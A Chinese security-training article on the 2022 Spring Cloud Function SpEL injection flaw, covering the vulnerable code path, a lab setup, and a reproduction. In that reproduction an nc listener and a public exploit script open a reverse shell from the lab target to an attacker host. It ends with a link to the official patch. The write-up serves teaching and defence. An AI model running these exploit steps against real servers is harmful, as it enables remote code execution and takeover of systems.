蜗牛学苑logo
图标
蜗牛学苑 凡云教育 阿多比设计 播来播趣
  • 图标 图标 在线靶场
  • 图标 图标 专题文章
  • 图标 图标 在线视频
  • 图标 图标 用户排名
  • 图标 图标 收藏夹
  • 图标 图标 积分商城
  • 图标 图标 写反馈
点击查看未关闭靶场
登录/注册
头像
图标 0
图标

网安 | SpringCloud Function SpEL漏洞

发现 1分钟 0个赞

网安 | SpringCloud Function SpEL漏洞

一、漏洞简介


2022年3月,Spring Cloud 官方修复了一个 Spring Cloud Function中的 SPEL 表达式注入漏洞,由于 Spring Cloud Function中 RoutingFunction 类的 apply 方法将请求头中的“spring.cloud.function.routing-expression” 参数作为SpEL表达式进行处理,造成了SpEL表达式注入漏洞,攻击者可利用该漏洞远程执行任意代码。影响版本:3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2


二、基础知识


2.1 SpringCloud FunctionSpring Cloud Function 是基于Spring Boot 的函数计算框架(FaaS,函数即服务,function as aservice),该项目提供了一个通用的模型,用于在各种平台上部署基于函数的软件。它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。


2.2 SpEL

SpEL(Spring Expression Language),即Spring表达式语言,一种功能强大的表达式语言,用于在运行时查询和操作对象图。

表达式语法:

专题文章



三、漏洞原理


3.1 环境搭建

3.1.1 创建Spring boot项目

1. 打开IDEA,新建项目,选择 ‘Spring Initializr’。

专题文章


2. 输入项目名称,选择java版本和jdk版本。

专题文章


3. 选择"Web -> Spring Web"和"Spring Cloud -> Function"作为依赖项,而后生成项目。

专题文章


4. 修改 pom.xml 文件中的”spring-cloud-function-web”的版本。

专题文章


5. 启动项目。

专题文章


6. 访问 http://localhost:8080/ 。

专题文章


3.1.2 使用poc验证环境

1. 访问 http://localhost:8080/ ,使用Brup Suite抓包,构造恶意请求访问RoutingFunction功能。


专题文章


专题文章


2. 发送构造的恶意请求后,成功执行恶意代码,打开计算器。

专题文章


3.2 漏洞分析1. 此漏洞是由Spring Cloud Function中 RoutingFunction 类的 apply 方法触发,所以我们添加断点到apply()方法处。

  • 展开 External Libraries。


专题文章


  • 找到

springframework.cloud.function.context.config.RoutingFunction 。

专题文章


  • 在apply()方法处,添加断点。

专题文章


2. 以调试模式运行,并再次使用Brup Suite发送构造的恶意请求访问RoutingFunction功能。


专题文章


3. 首先请求到达 apply() 方法,而后调用 route 方法。

专题文章


4. 在route()方法中,实例化一个

FunctionInvocationWrapper类 function,且赋值为null。而后判断input 对象是否为 Message实例,接着将 input 赋值给 message。


专题文章


5. 之后将获取头部信息,取出

“spring.cloud.function.routing-expression”交由functionFromExpression()方法处理。


专题文章


6. 进入functionFromExpression() 方法后,会调用 parseExpression() 方法去处理routingExpression。

专题文章



7. 在 TemplateAwareExpressionParser 的

parseExpression() 方法中,进行相应判断处理后,会继续调用doParseExpression() 方法处理 routingExpression。

专题文章


8. 在 SpelExpressionParser 的 doParseExpression() 方法中,又会调用InternalSpelExpressionParser 的 doParseExpression() 方法。


专题文章


9. 接着会对 token 进行处理判断,而后根据我们传入的 routing-expression 生成并返回SpelExpression 实例化对象。

专题文章

10. 在 SpelExpression() 方法中会将 routing-expression 赋值给 this.expression 。

专题文章

11. 随后回到 functionFromExpression() 方法,将 input 的头部结构做不区分大小写的处理。

专题文章

12. 而后会调用 expression 的 getValue() 方法,该方法会执行头部信息中我们输入的 routingexpression 值 (SpEL表达式),去调用 java.lang.Runtime 类的 getRuntime()下的exec()方法去执行calc,启动计算器。

专题文章


四、复现过程


4.1 实验环境

被攻击服务器主机:CentOS7(192.168.219.185)

漏洞环境:SpringCloud-Function-0.0.1-SNAPSHOT.jar,

https://github.com/N1ce759/Spring-CloudFunction-SPEL-RCE

攻击者主机:kali(192.168.219.134)

漏洞利用工具工具:Spring-cloud-function-SpEL-RCE ,

https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE



4.2 实验过程

1. 安装漏洞环境下载安装JDK 15,此处使用rpm安装 jdk-15.0.2_linux-x64_bin.rpm,下载地址

(https://www.oracle.com/java/technologies/javase/jdk15-archive-downloads.html)


    rpm -ivh jdk-15.0.2_linux-x64_bin.rpm


专题文章

下载SpringCloud-Function-0.0.1-SNAPSHOT.jar,下载地址

(https://github.com/N1ce759/Spring-Cloud-Function-SPEL-RCE)

  • 解压下载的压缩包。

专题文章

  • 运行漏洞环境。

java -jar SpringCloud-Function-0.0.1-SNAPSHOT.jar专题文章
使用浏览器访问URL:http://192.168.219.185:9000/

专题文章
2. 下载漏洞利用工具 (https://github.com/chaosec2021/Spring-cloud-function-SpEL-RCE),检测并利用漏洞获取反弹shell。 检测漏洞。 创建url.txt,插入想要扫描的url地址,可以是多个。 echo "http://192.168.219.185:9000/" > url.txt

专题文章
使用脚本进行扫描。 python3 Spel_RCE_POC.py url.txt

专题文章

获取反弹shell。

  • 使用nc开启4444端口监听。

nc -lvp 4444
  • 使用exp获取反弹shell。

python3 Spel_RCE_Bash_EXP.py http://192.168.219.185:9000/ 192.168.219.134 4444
专题文章
成功获取反弹shell。

专题文章
五、修复措施 1. 官方已发布补丁,官方链接: https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f 。 六、参考文章 1、SpringCloud Function SPEL漏洞分析 (https://www.cnblogs.com/wh4am1/p/16062306.html) 2、SpringCloud Function SpEL漏洞环境搭建+漏洞复现 (https://blog.csdn.net/Moyun_vackbot/article/details/123821293) 3、spring中的SpEL表达式 (https://www.jianshu.com/p/61f7c6fe03ec) 4、Spring-Cloud-SpEL-表达式注入漏洞复现 (https://www.cnblogs.com/ta1zi/p/16073257.html)
图标 相关靶场
评论
QQ好友
微信好友
复制链接
版权所有 © 成都蜗牛创想科技有限公司
备案: 蜀ICP备15014130号-13 网络文化经营许可证

登录

前往注册
验证码登录
11 / 11
手机号或密码错误
图标 图标
验证码图片

重置密码

密码登录
0 / 11
验证码错误

重置密码

0 / 11
验证码错误

账号注册

注册成功

注册成功,默认密码已通过短信发送给您

欢迎来到蜗牛学苑~

0 / 11
验证码错误
图标 图标
密码或手机号错误
图标 图标
关闭
  • 账号信息
  • 重置密码
  • 我的生涯
  • 消费记录
  • 上传记录
  • 退出登录

账号信息

头像 更换

小靶

修改密码

修改密码

我的生涯

  • 总览
  • 打靶记录

消费记录

  • 靶场
  • 积分兑换

上传记录

  • 有奖靶场
  • 有奖文章
新增
名字 版本 flag位置 操作

退出登录

退出登录
图标